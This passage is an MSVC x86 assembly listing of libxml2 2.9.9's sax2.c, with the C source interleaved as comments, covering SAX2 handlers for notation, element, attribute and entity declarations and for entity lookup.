$LN4@xmlSAX2Not test edx, edx jne SHORT $LN4@xmlSAX2Not ; 863 : xmlFatalErrMsg(ctxt, XML_ERR_NOTATION_PROCESSING, push edx push DWORD PTR _name$[ebp] push OFFSET ??_C@_0DM@OMFMKHI@SAX?4xmlSAX2NotationDecl?$CI?$CFs?$CJ?5ext@ push 105 ; 00000069H push esi call _xmlFatalErrMsg add esp, 20 ; 00000014H pop esi ; 884 : nota); ; 885 : #endif /* LIBXML_VALID_ENABLED */ ; 886 : } pop ebp ret 0 $LN4@xmlSAX2Not: ; 864 : "SAX.xmlSAX2NotationDecl(%s) externalID or PublicID missing\n", ; 865 : name, NULL); ; 866 : return; ; 867 : } else if (ctxt->inSubset == 1) mov ecx, DWORD PTR [esi+216] cmp ecx, 1 jne SHORT $LN6@xmlSAX2Not ; 868 : nota = xmlAddNotationDecl(&ctxt->vctxt, ctxt->myDoc->intSubset, name, mov eax, DWORD PTR [eax+44] jmp SHORT $LN9@xmlSAX2Not $LN6@xmlSAX2Not: ; 869 : publicId, systemId); ; 870 : else if (ctxt->inSubset == 2) cmp ecx, 2 jne SHORT $LN8@xmlSAX2Not ; 871 : nota = xmlAddNotationDecl(&ctxt->vctxt, ctxt->myDoc->extSubset, name, mov eax, DWORD PTR [eax+48] $LN9@xmlSAX2Not: push ebx ; 875 : "SAX.xmlSAX2NotationDecl(%s) called while not in subset\n", ; 876 : name, NULL); ; 877 : return; ; 878 : } ; 879 : #ifdef LIBXML_VALID_ENABLED ; 880 : if (nota == NULL) ctxt->valid = 0; push edx push DWORD PTR _publicId$[ebp] lea ebx, DWORD PTR [esi+108] push DWORD PTR _name$[ebp] push eax push ebx call _xmlAddNotationDecl mov ecx, eax add esp, 20 ; 00000014H test ecx, ecx jne SHORT $LN14@xmlSAX2Not mov DWORD PTR [esi+100], eax $LN14@xmlSAX2Not: ; 881 : if ((ctxt->validate) && (ctxt->wellFormed) && cmp DWORD PTR [esi+104], 0 je SHORT $LN15@xmlSAX2Not cmp DWORD PTR [esi+12], 0 je SHORT $LN15@xmlSAX2Not mov eax, DWORD PTR [esi+8] cmp DWORD PTR [eax+44], 0 je SHORT $LN15@xmlSAX2Not ; 882 : (ctxt->myDoc->intSubset != NULL)) ; 883 : ctxt->valid &= xmlValidateNotationDecl(&ctxt->vctxt, ctxt->myDoc, push ecx push eax push ebx call _xmlValidateNotationDecl add esp, 12 ; 0000000cH and DWORD PTR [esi+100], eax $LN15@xmlSAX2Not: pop ebx $LN3@xmlSAX2Not: pop esi ; 884 : nota); ; 885 : #endif /* LIBXML_VALID_ENABLED */ ; 886 : } pop ebp ret 0 $LN8@xmlSAX2Not: ; 872 : publicId, systemId); ; 873 : else { ; 874 : xmlFatalErrMsg(ctxt, XML_ERR_NOTATION_PROCESSING, push 0 push DWORD PTR _name$[ebp] push OFFSET ??_C@_0DI@MAMMGJDO@SAX?4xmlSAX2NotationDecl?$CI?$CFs?$CJ?5cal@ push 105 ; 00000069H push esi call _xmlFatalErrMsg add esp, 20 ; 00000014H pop esi ; 884 : nota); ; 885 : #endif /* LIBXML_VALID_ENABLED */ ; 886 : } pop ebp ret 0 _xmlSAX2NotationDecl ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2ElementDecl _TEXT SEGMENT _ctx$ = 8 ; size = 4 _name$ = 12 ; size = 4 _type$ = 16 ; size = 4 _content$ = 20 ; size = 4 _xmlSAX2ElementDecl PROC ; COMDAT ; 804 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctx$[ebp] test esi, esi je SHORT $LN3@xmlSAX2Ele ; 805 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 806 : xmlElementPtr elem = NULL; ; 807 : ; 808 : if ((ctxt == NULL) || (ctxt->myDoc == NULL)) mov eax, DWORD PTR [esi+8] test eax, eax je SHORT $LN3@xmlSAX2Ele ; 809 : return; ; 810 : ; 811 : #ifdef DEBUG_SAX ; 812 : xmlGenericError(xmlGenericErrorContext, ; 813 : "SAX.xmlSAX2ElementDecl(%s, %d, ...)\n", name, type); ; 814 : #endif ; 815 : ; 816 : if (ctxt->inSubset == 1) mov ecx, DWORD PTR [esi+216] cmp ecx, 1 jne SHORT $LN4@xmlSAX2Ele ; 817 : elem = xmlAddElementDecl(&ctxt->vctxt, ctxt->myDoc->intSubset, mov eax, DWORD PTR [eax+44] jmp SHORT $LN7@xmlSAX2Ele $LN4@xmlSAX2Ele: ; 818 : name, (xmlElementTypeVal) type, content); ; 819 : else if (ctxt->inSubset == 2) cmp ecx, 2 jne SHORT $LN6@xmlSAX2Ele ; 820 : elem = xmlAddElementDecl(&ctxt->vctxt, ctxt->myDoc->extSubset, mov eax, DWORD PTR [eax+48] $LN7@xmlSAX2Ele: push edi ; 824 : "SAX.xmlSAX2ElementDecl(%s) called while not in subset\n", ; 825 : name, NULL); ; 826 : return; ; 827 : } ; 828 : #ifdef LIBXML_VALID_ENABLED ; 829 : if (elem == NULL) push DWORD PTR _content$[ebp] lea edi, DWORD PTR [esi+108] push DWORD PTR _type$[ebp] push DWORD PTR _name$[ebp] push eax push edi call _xmlAddElementDecl mov ecx, eax add esp, 20 ; 00000014H test ecx, ecx jne SHORT $LN12@xmlSAX2Ele ; 830 : ctxt->valid = 0; mov DWORD PTR [esi+100], eax $LN12@xmlSAX2Ele: ; 831 : if (ctxt->validate && ctxt->wellFormed && ; 832 : ctxt->myDoc && ctxt->myDoc->intSubset) cmp DWORD PTR [esi+104], 0 je SHORT $LN13@xmlSAX2Ele cmp DWORD PTR [esi+12], 0 je SHORT $LN13@xmlSAX2Ele mov eax, DWORD PTR [esi+8] test eax, eax je SHORT $LN13@xmlSAX2Ele cmp DWORD PTR [eax+44], 0 je SHORT $LN13@xmlSAX2Ele ; 833 : ctxt->valid &= push ecx push eax push edi call _xmlValidateElementDecl add esp, 12 ; 0000000cH and DWORD PTR [esi+100], eax $LN13@xmlSAX2Ele: pop edi $LN3@xmlSAX2Ele: pop esi ; 834 : xmlValidateElementDecl(&ctxt->vctxt, ctxt->myDoc, elem); ; 835 : #endif /* LIBXML_VALID_ENABLED */ ; 836 : } pop ebp ret 0 $LN6@xmlSAX2Ele: ; 821 : name, (xmlElementTypeVal) type, content); ; 822 : else { ; 823 : xmlFatalErrMsg(ctxt, XML_ERR_INTERNAL_ERROR, push 0 push DWORD PTR _name$[ebp] push OFFSET ??_C@_0DH@FINDFGFC@SAX?4xmlSAX2ElementDecl?$CI?$CFs?$CJ?5call@ push 1 push esi call _xmlFatalErrMsg add esp, 20 ; 00000014H pop esi ; 834 : xmlValidateElementDecl(&ctxt->vctxt, ctxt->myDoc, elem); ; 835 : #endif /* LIBXML_VALID_ENABLED */ ; 836 : } pop ebp ret 0 _xmlSAX2ElementDecl ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2AttributeDecl _TEXT SEGMENT _prefix$ = -4 ; size = 4 _ctx$ = 8 ; size = 4 _elem$ = 12 ; size = 4 _fullname$ = 16 ; size = 4 _type$ = 20 ; size = 4 _def$ = 24 ; size = 4 _defaultValue$ = 28 ; size = 4 _tree$ = 32 ; size = 4 _xmlSAX2AttributeDecl PROC ; COMDAT ; 737 : { push ebp mov ebp, esp push ecx push edi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov edi, DWORD PTR _ctx$[ebp] mov DWORD PTR _prefix$[ebp], 0 test edi, edi je $LN3@xmlSAX2Att ; 738 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 739 : xmlAttributePtr attr; ; 740 : xmlChar *name = NULL, *prefix = NULL; ; 741 : ; 742 : if ((ctxt == NULL) || (ctxt->myDoc == NULL)) cmp DWORD PTR [edi+8], 0 je $LN3@xmlSAX2Att ; 743 : return; ; 744 : ; 745 : #ifdef DEBUG_SAX ; 746 : xmlGenericError(xmlGenericErrorContext, ; 747 : "SAX.xmlSAX2AttributeDecl(%s, %s, %d, %d, %s, ...)\n", ; 748 : elem, fullname, type, def, defaultValue); ; 749 : #endif ; 750 : if ((xmlStrEqual(fullname, BAD_CAST "xml:id")) && push ebx mov ebx, DWORD PTR _fullname$[ebp] push esi push OFFSET ??_C@_06IMLNHOMM@xml?3id@ push ebx call _xmlStrEqual add esp, 8 test eax, eax je SHORT $LN4@xmlSAX2Att cmp DWORD PTR _type$[ebp], 2 je SHORT $LN4@xmlSAX2Att ; 751 : (type != XML_ATTRIBUTE_ID)) { ; 752 : /* ; 753 : * Raise the error but keep the validity flag ; 754 : */ ; 755 : int tmp = ctxt->valid; mov esi, DWORD PTR [edi+100] ; 756 : xmlErrValid(ctxt, XML_DTD_XMLID_TYPE, push 0 push 0 push OFFSET ??_C@_0CG@DOFEKNB@xml?3id?5?3?5attribute?5type?5should?5@ push 540 ; 0000021cH push edi call _xmlErrValid add esp, 20 ; 00000014H ; 757 : "xml:id : attribute type should be ID\n", NULL, NULL); ; 758 : ctxt->valid = tmp; mov DWORD PTR [edi+100], esi $LN4@xmlSAX2Att: ; 759 : } ; 760 : /* TODO: optimize name/prefix allocation */ ; 761 : name = xmlSplitQName(ctxt, fullname, &prefix); lea eax, DWORD PTR _prefix$[ebp] push eax push ebx push edi call _xmlSplitQName mov esi, eax ; 762 : ctxt->vctxt.valid = 1; mov DWORD PTR [edi+144], 1 ; 763 : if (ctxt->inSubset == 1) mov eax, DWORD PTR [edi+216] add esp, 12 ; 0000000cH cmp eax, 1 jne SHORT $LN5@xmlSAX2Att ; 764 : attr = xmlAddAttributeDecl(&ctxt->vctxt, ctxt->myDoc->intSubset, elem, push DWORD PTR _tree$[ebp] mov eax, DWORD PTR _type$[ebp] push DWORD PTR _defaultValue$[ebp] push DWORD PTR _def$[ebp] push eax push DWORD PTR _prefix$[ebp] mov eax, DWORD PTR [edi+8] push esi push DWORD PTR _elem$[ebp] push DWORD PTR [eax+44] jmp SHORT $LN18@xmlSAX2Att $LN5@xmlSAX2Att: ; 765 : name, prefix, (xmlAttributeType) type, ; 766 : (xmlAttributeDefault) def, defaultValue, tree); ; 767 : else if (ctxt->inSubset == 2) cmp eax, 2 jne $LN7@xmlSAX2Att ; 768 : attr = xmlAddAttributeDecl(&ctxt->vctxt, ctxt->myDoc->extSubset, elem, push DWORD PTR _tree$[ebp] mov eax, DWORD PTR _type$[ebp] push DWORD PTR _defaultValue$[ebp] push DWORD PTR _def$[ebp] push eax push DWORD PTR _prefix$[ebp] mov eax, DWORD PTR [edi+8] push esi push DWORD PTR _elem$[ebp] push DWORD PTR [eax+48] $LN18@xmlSAX2Att: ; 776 : return; ; 777 : } ; 778 : #ifdef LIBXML_VALID_ENABLED ; 779 : if (ctxt->vctxt.valid == 0) lea ebx, DWORD PTR [edi+108] push ebx call _xmlAddAttributeDecl add esp, 36 ; 00000024H mov ecx, eax cmp DWORD PTR [edi+144], 0 jne SHORT $LN15@xmlSAX2Att ; 780 : ctxt->valid = 0; mov DWORD PTR [edi+100], 0 $LN15@xmlSAX2Att: ; 781 : if ((attr != NULL) && (ctxt->validate) && (ctxt->wellFormed) && test ecx, ecx je SHORT $LN10@xmlSAX2Att cmp DWORD PTR [edi+104], 0 je SHORT $LN10@xmlSAX2Att cmp DWORD PTR [edi+12], 0 je SHORT $LN10@xmlSAX2Att mov eax, DWORD PTR [edi+8] cmp DWORD PTR [eax+44], 0 je SHORT $LN10@xmlSAX2Att ; 782 : (ctxt->myDoc->intSubset != NULL)) ; 783 : ctxt->valid &= xmlValidateAttributeDecl(&ctxt->vctxt, ctxt->myDoc, push ecx push eax push ebx call _xmlValidateAttributeDecl add esp, 12 ; 0000000cH and DWORD PTR [edi+100], eax $LN10@xmlSAX2Att: ; 784 : attr); ; 785 : #endif /* LIBXML_VALID_ENABLED */ ; 786 : if (prefix != NULL) mov eax, DWORD PTR _prefix$[ebp] test eax, eax je SHORT $LN11@xmlSAX2Att ; 787 : xmlFree(prefix); push eax call DWORD PTR _xmlFree add esp, 4 $LN11@xmlSAX2Att: ; 788 : if (name != NULL) test esi, esi je SHORT $LN16@xmlSAX2Att ; 789 : xmlFree(name); push esi call DWORD PTR _xmlFree add esp, 4 pop esi pop ebx pop edi ; 790 : } mov esp, ebp pop ebp ret 0 $LN7@xmlSAX2Att: ; 769 : name, prefix, (xmlAttributeType) type, ; 770 : (xmlAttributeDefault) def, defaultValue, tree); ; 771 : else { ; 772 : xmlFatalErrMsg(ctxt, XML_ERR_INTERNAL_ERROR, push 0 push esi push OFFSET ??_C@_0DJ@CKOJIFJI@SAX?4xmlSAX2AttributeDecl?$CI?$CFs?$CJ?5ca@ push 1 push edi call _xmlFatalErrMsg ; 773 : "SAX.xmlSAX2AttributeDecl(%s) called while not in subset\n", ; 774 : name, NULL); ; 775 : xmlFreeEnumeration(tree); push DWORD PTR _tree$[ebp] call _xmlFreeEnumeration add esp, 24 ; 00000018H $LN16@xmlSAX2Att: pop esi pop ebx $LN3@xmlSAX2Att: pop edi ; 790 : } mov esp, ebp pop ebp ret 0 _xmlSAX2AttributeDecl ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2EntityDecl _TEXT SEGMENT _ent$1$ = 8 ; size = 4 _ctx$ = 8 ; size = 4 _name$ = 12 ; size = 4 _type$ = 16 ; size = 4 _publicId$ = 20 ; size = 4 _systemId$ = 24 ; size = 4 _content$ = 28 ; size = 4 _xmlSAX2EntityDecl PROC ; COMDAT ; 666 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctx$[ebp] test esi, esi je $LN10@xmlSAX2Ent ; 667 : xmlEntityPtr ent; ; 668 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 669 : ; 670 : if (ctx == NULL) return; ; 671 : #ifdef DEBUG_SAX ; 672 : xmlGenericError(xmlGenericErrorContext, ; 673 : "SAX.xmlSAX2EntityDecl(%s, %d, %s, %s, %s)\n", ; 674 : name, type, publicId, systemId, content); ; 675 : #endif ; 676 : if (ctxt->inSubset == 1) { mov eax, DWORD PTR [esi+216] push ebx push edi cmp eax, 1 jne $LN3@xmlSAX2Ent ; 677 : ent = xmlAddDocEntity(ctxt->myDoc, name, type, publicId, push DWORD PTR _content$[ebp] mov ebx, DWORD PTR _systemId$[ebp] mov edi, DWORD PTR _name$[ebp] push ebx push DWORD PTR _publicId$[ebp] push DWORD PTR _type$[ebp] push edi push DWORD PTR [esi+8] call _xmlAddDocEntity add esp, 24 ; 00000018H mov DWORD PTR _ent$1$[ebp], eax ; 678 : systemId, content); ; 679 : if ((ent == NULL) && (ctxt->pedantic)) test eax, eax jne SHORT $LN21@xmlSAX2Ent cmp DWORD PTR [esi+268], eax je $LN24@xmlSAX2Ent ; 172 : if ((ctxt != NULL) && (ctxt->disableSAX != 0) && cmp DWORD PTR [esi+212], eax je SHORT $LN17@xmlSAX2Ent cmp DWORD PTR [esi+172], -1 je $LN24@xmlSAX2Ent $LN17@xmlSAX2Ent: ; 173 : (ctxt->instate == XML_PARSER_EOF)) ; 174 : return; ; 175 : if (ctxt != NULL) ; 176 : ctxt->errNo = error; ; 177 : __xmlRaiseError(NULL, NULL, NULL, ctxt, NULL, XML_FROM_PARSER, error, push edi push OFFSET ??_C@_0DD@GCBFDMPE@Entity?$CI?$CFs?$CJ?5already?5defined?5in?5t@ push 0 push 0 push 0 push 0 push edi push 0 push 0 push 1 push 107 ; 0000006bH push 1 push 0 push esi push 0 push 0 push 0 mov DWORD PTR [esi+84], 107 ; 0000006bH call ___xmlRaiseError add esp, 68 ; 00000044H pop edi pop ebx pop esi ; 716 : "SAX.xmlSAX2EntityDecl(%s) called while not in subset\n", ; 717 : name, NULL); ; 718 : } ; 719 : } pop ebp ret 0 $LN21@xmlSAX2Ent: ; 680 : xmlWarnMsg(ctxt, XML_WAR_ENTITY_REDEFINED, ; 681 : "Entity(%s) already defined in the internal subset\n", ; 682 : name); ; 683 : if ((ent != NULL) && (ent->URI == NULL) && (systemId != NULL)) { cmp DWORD PTR [eax+64], 0 jne $LN24@xmlSAX2Ent test ebx, ebx je $LN24@xmlSAX2Ent ; 684 : xmlChar *URI; ; 685 : const char *base = NULL; ; 686 : ; 687 : if (ctxt->input != NULL) mov eax, DWORD PTR [esi+36] test eax, eax je SHORT $LN22@xmlSAX2Ent ; 688 : base = ctxt->input->filename; mov eax, DWORD PTR [eax+4] ; 689 : if (base == NULL) test eax, eax jne SHORT $LN8@xmlSAX2Ent $LN22@xmlSAX2Ent: ; 690 : base = ctxt->directory; mov eax, DWORD PTR [esi+180] $LN8@xmlSAX2Ent: ; 691 : ; 692 : URI = xmlBuildURI(systemId, (const xmlChar *) base); push eax push ebx call _xmlBuildURI ; 693 : ent->URI = URI; mov ecx, DWORD PTR _ent$1$[ebp] add esp, 8 pop edi pop ebx mov DWORD PTR [ecx+64], eax pop esi ; 716 : "SAX.xmlSAX2EntityDecl(%s) called while not in subset\n", ; 717 : name, NULL); ; 718 : } ; 719 : } pop ebp ret 0 $LN3@xmlSAX2Ent: ; 694 : } ; 695 : } else if (ctxt->inSubset == 2) { cmp eax, 2 jne SHORT $LN9@xmlSAX2Ent ; 696 : ent = xmlAddDtdEntity(ctxt->myDoc, name, type, publicId, push DWORD PTR _content$[ebp] mov edi, DWORD PTR _systemId$[ebp] push edi push DWORD PTR _publicId$[ebp] push DWORD PTR _type$[ebp] push DWORD PTR _name$[ebp] push DWORD PTR [esi+8] call _xmlAddDtdEntity mov ebx, eax add esp, 24 ; 00000018H ; 697 : systemId, content); ; 698 : if ((ent == NULL) && (ctxt->pedantic) && ; 699 : (ctxt->sax != NULL) && (ctxt->sax->warning != NULL)) test ebx, ebx jne SHORT $LN20@xmlSAX2Ent cmp DWORD PTR [esi+268], eax je SHORT $LN24@xmlSAX2Ent mov eax, DWORD PTR [esi] test eax, eax je SHORT $LN24@xmlSAX2Ent mov eax, DWORD PTR [eax+84] test eax, eax je SHORT $LN24@xmlSAX2Ent ; 700 : ctxt->sax->warning(ctxt->userData, push DWORD PTR _name$[ebp] push OFFSET ??_C@_0DD@ECLLADNP@Entity?$CI?$CFs?$CJ?5already?5defined?5in?5t@ push DWORD PTR [esi+4] call eax add esp, 12 ; 0000000cH pop edi pop ebx pop esi ; 716 : "SAX.xmlSAX2EntityDecl(%s) called while not in subset\n", ; 717 : name, NULL); ; 718 : } ; 719 : } pop ebp ret 0 $LN20@xmlSAX2Ent: ; 701 : "Entity(%s) already defined in the external subset\n", name); ; 702 : if ((ent != NULL) && (ent->URI == NULL) && (systemId != NULL)) { cmp DWORD PTR [ebx+64], 0 jne SHORT $LN24@xmlSAX2Ent test edi, edi je SHORT $LN24@xmlSAX2Ent ; 703 : xmlChar *URI; ; 704 : const char *base = NULL; ; 705 : ; 706 : if (ctxt->input != NULL) mov eax, DWORD PTR [esi+36] test eax, eax je SHORT $LN23@xmlSAX2Ent ; 707 : base = ctxt->input->filename; mov eax, DWORD PTR [eax+4] ; 708 : if (base == NULL) test eax, eax jne SHORT $LN14@xmlSAX2Ent $LN23@xmlSAX2Ent: ; 709 : base = ctxt->directory; mov eax, DWORD PTR [esi+180] $LN14@xmlSAX2Ent: ; 710 : ; 711 : URI = xmlBuildURI(systemId, (const xmlChar *) base); push eax push edi call _xmlBuildURI add esp, 8 ; 712 : ent->URI = URI; mov DWORD PTR [ebx+64], eax pop edi pop ebx pop esi ; 716 : "SAX.xmlSAX2EntityDecl(%s) called while not in subset\n", ; 717 : name, NULL); ; 718 : } ; 719 : } pop ebp ret 0 $LN9@xmlSAX2Ent: ; 713 : } ; 714 : } else { ; 715 : xmlFatalErrMsg(ctxt, XML_ERR_ENTITY_PROCESSING, push 0 push DWORD PTR _name$[ebp] push OFFSET ??_C@_0DG@EGJGBEOC@SAX?4xmlSAX2EntityDecl?$CI?$CFs?$CJ?5calle@ push 104 ; 00000068H push esi call _xmlFatalErrMsg add esp, 20 ; 00000014H $LN24@xmlSAX2Ent: pop edi pop ebx $LN10@xmlSAX2Ent: pop esi ; 716 : "SAX.xmlSAX2EntityDecl(%s) called while not in subset\n", ; 717 : name, NULL); ; 718 : } ; 719 : } pop ebp ret 0 _xmlSAX2EntityDecl ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2ResolveEntity _TEXT SEGMENT _ctx$ = 8 ; size = 4 _publicId$ = 12 ; size = 4 _systemId$ = 16 ; size = 4 _xmlSAX2ResolveEntity PROC ; COMDAT ; 520 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctx$[ebp] test esi, esi jne SHORT $LN2@xmlSAX2Res ; 521 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 522 : xmlParserInputPtr ret; ; 523 : xmlChar *URI; ; 524 : const char *base = NULL; ; 525 : ; 526 : if (ctx == NULL) return(NULL); xor eax, eax pop esi ; 544 : } pop ebp ret 0 $LN2@xmlSAX2Res: ; 527 : if (ctxt->input != NULL) mov eax, DWORD PTR [esi+36] test eax, eax je SHORT $LN7@xmlSAX2Res ; 528 : base = ctxt->input->filename; mov eax, DWORD PTR [eax+4] ; 529 : if (base == NULL) test eax, eax jne SHORT $LN4@xmlSAX2Res $LN7@xmlSAX2Res: ; 530 : base = ctxt->directory; mov eax, DWORD PTR [esi+180] $LN4@xmlSAX2Res: push edi ; 531 : ; 532 : URI = xmlBuildURI(systemId, (const xmlChar *) base); push eax push DWORD PTR _systemId$[ebp] call _xmlBuildURI ; 533 : ; 534 : #ifdef DEBUG_SAX ; 535 : xmlGenericError(xmlGenericErrorContext, ; 536 : "SAX.xmlSAX2ResolveEntity(%s, %s)\n", publicId, systemId); ; 537 : #endif ; 538 : ; 539 : ret = xmlLoadExternalEntity((const char *) URI, push esi push DWORD PTR _publicId$[ebp] mov edi, eax push edi call _xmlLoadExternalEntity add esp, 20 ; 00000014H mov esi, eax ; 540 : (const char *) publicId, ctxt); ; 541 : if (URI != NULL) test edi, edi je SHORT $LN5@xmlSAX2Res ; 542 : xmlFree(URI); push edi call DWORD PTR _xmlFree add esp, 4 $LN5@xmlSAX2Res: ; 543 : return(ret); pop edi mov eax, esi pop esi ; 544 : } pop ebp ret 0 _xmlSAX2ResolveEntity ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2GetParameterEntity _TEXT SEGMENT _ctx$ = 8 ; size = 4 _name$ = 12 ; size = 4 _xmlSAX2GetParameterEntity PROC ; COMDAT ; 637 : { push ebp mov ebp, esp mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _ctx$[ebp] test eax, eax jne SHORT $LN2@xmlSAX2Get ; 648 : return(ret); ; 649 : } pop ebp ret 0 $LN2@xmlSAX2Get: ; 638 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 639 : xmlEntityPtr ret; ; 640 : ; 641 : if (ctx == NULL) return(NULL); ; 642 : #ifdef DEBUG_SAX ; 643 : xmlGenericError(xmlGenericErrorContext, ; 644 : "SAX.xmlSAX2GetParameterEntity(%s)\n", name); ; 645 : #endif ; 646 : ; 647 : ret = xmlGetParameterEntity(ctxt->myDoc, name); push DWORD PTR _name$[ebp] push DWORD PTR [eax+8] call _xmlGetParameterEntity add esp, 8 ; 648 : return(ret); ; 649 : } pop ebp ret 0 _xmlSAX2GetParameterEntity ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2GetEntity _TEXT SEGMENT _oldnbent$1$ = -4 ; size = 4 _children$1 = 8 ; size = 4 _ctx$ = 8 ; size = 4 _name$ = 12 ; size = 4 _xmlSAX2GetEntity PROC ; COMDAT ; 557 : { push ebp mov ebp, esp push ecx push edi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov edi, DWORD PTR _ctx$[ebp] test edi, edi jne SHORT $LN2@xmlSAX2Get ; 558 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 559 : xmlEntityPtr ret = NULL; ; 560 : ; 561 : if (ctx == NULL) return(NULL); xor eax, eax pop edi ; 624 : } mov esp, ebp pop ebp ret 0 $LN2@xmlSAX2Get: ; 562 : #ifdef DEBUG_SAX ; 563 : xmlGenericError(xmlGenericErrorContext, ; 564 : "SAX.xmlSAX2GetEntity(%s)\n", name); ; 565 : #endif ; 566 : ; 567 : if (ctxt->inSubset == 0) { cmp DWORD PTR [edi+216], 0 push ebx mov ebx, DWORD PTR _name$[ebp] jne SHORT $LN20@xmlSAX2Get ; 568 : ret = xmlGetPredefinedEntity(name); push ebx call _xmlGetPredefinedEntity add esp, 4 ; 569 : if (ret != NULL) test eax, eax jne $LN21@xmlSAX2Get $LN20@xmlSAX2Get: ; 570 : return(ret); ; 571 : } ; 572 : if ((ctxt->myDoc != NULL) && (ctxt->myDoc->standalone == 1)) { mov eax, DWORD PTR [edi+8] push esi test eax, eax je SHORT $LN5@xmlSAX2Get cmp DWORD PTR [eax+40], 1 jne SHORT $LN5@xmlSAX2Get ; 573 : if (ctxt->inSubset == 2) { cmp DWORD PTR [edi+216], 2 push ebx jne SHORT $LN7@xmlSAX2Get ; 574 : ctxt->myDoc->standalone = 0; mov DWORD PTR [eax+40], 0 ; 575 : ret = xmlGetDocEntity(ctxt->myDoc, name); push DWORD PTR [edi+8] call _xmlGetDocEntity ; 576 : ctxt->myDoc->standalone = 1; mov ecx, DWORD PTR [edi+8] mov DWORD PTR [ecx+40], 1 ; 577 : } else { jmp SHORT $LN23@xmlSAX2Get $LN7@xmlSAX2Get: ; 578 : ret = xmlGetDocEntity(ctxt->myDoc, name); push eax call _xmlGetDocEntity mov esi, eax add esp, 8 ; 579 : if (ret == NULL) { test esi, esi jne SHORT $LN19@xmlSAX2Get ; 580 : ctxt->myDoc->standalone = 0; mov eax, DWORD PTR [edi+8] ; 581 : ret = xmlGetDocEntity(ctxt->myDoc, name); push ebx mov DWORD PTR [eax+40], esi push DWORD PTR [edi+8] call _xmlGetDocEntity mov esi, eax add esp, 8 ; 582 : if (ret != NULL) { test esi, esi je SHORT $LN10@xmlSAX2Get ; 583 : xmlFatalErrMsg(ctxt, XML_ERR_NOT_STANDALONE, push 0 push ebx push OFFSET ??_C@_0EE@PPDHKGIC@Entity?$CI?$CFs?$CJ?5document?5marked?5stan@ push 103 ; 00000067H push edi call _xmlFatalErrMsg add esp, 20 ; 00000014H $LN10@xmlSAX2Get: ; 584 : "Entity(%s) document marked standalone but requires external subset\n", ; 585 : name, NULL); ; 586 : } ; 587 : ctxt->myDoc->standalone = 1; mov eax, DWORD PTR [edi+8] mov DWORD PTR [eax+40], 1 ; 588 : } ; 589 : } ; 590 : } else { jmp SHORT $LN6@xmlSAX2Get $LN5@xmlSAX2Get: ; 591 : ret = xmlGetDocEntity(ctxt->myDoc, name); push ebx push eax call _xmlGetDocEntity $LN23@xmlSAX2Get: ; 592 : } ; 593 : if ((ret != NULL) && ; 594 : ((ctxt->validate) || (ctxt->replaceEntities)) && ; 595 : (ret->children == NULL) && mov esi, eax add esp, 8 $LN6@xmlSAX2Get: test esi, esi je SHORT $LN16@xmlSAX2Get $LN19@xmlSAX2Get: cmp DWORD PTR [edi+104], 0 jne SHORT $LN12@xmlSAX2Get cmp DWORD PTR [edi+16], 0 je SHORT $LN16@xmlSAX2Get $LN12@xmlSAX2Get: cmp DWORD PTR [esi+12], 0 jne SHORT $LN16@xmlSAX2Get cmp DWORD PTR [esi+48], 2 jne SHORT $LN16@xmlSAX2Get ; 596 : (ret->etype == XML_EXTERNAL_GENERAL_PARSED_ENTITY)) { ; 597 : int val; ; 598 : ; 599 : /* ; 600 : * for validation purposes we really need to fetch and ; 601 : * parse the external entity ; 602 : */ ; 603 : xmlNodePtr children; ; 604 : unsigned long oldnbent = ctxt->nbentities; mov eax, DWORD PTR [edi+440] mov DWORD PTR _oldnbent$1$[ebp], eax ; 605 : ; 606 : val = xmlParseCtxtExternalEntity(ctxt, ret->URI, lea eax, DWORD PTR _children$1[ebp] push eax push DWORD PTR [esi+52] push DWORD PTR [esi+64] push edi call _xmlParseCtxtExternalEntity add esp, 16 ; 00000010H ; 607 : ret->ExternalID, &children); ; 608 : if (val == 0) { test eax, eax jne SHORT $LN13@xmlSAX2Get ; 609 : xmlAddChildList((xmlNodePtr) ret, children); push DWORD PTR _children$1[ebp] push esi call _xmlAddChildList add esp, 8 ; 615 : } ; 616 : ret->owner = 1; mov DWORD PTR [esi+68], 1 ; 617 : if (ret->checked == 0) { cmp DWORD PTR [esi+72], 0 jne SHORT $LN16@xmlSAX2Get ; 618 : ret->checked = (ctxt->nbentities - oldnbent + 1) * 2; mov eax, DWORD PTR [edi+440] sub eax, DWORD PTR _oldnbent$1$[ebp] lea eax, DWORD PTR [eax*2+2] mov DWORD PTR [esi+72], 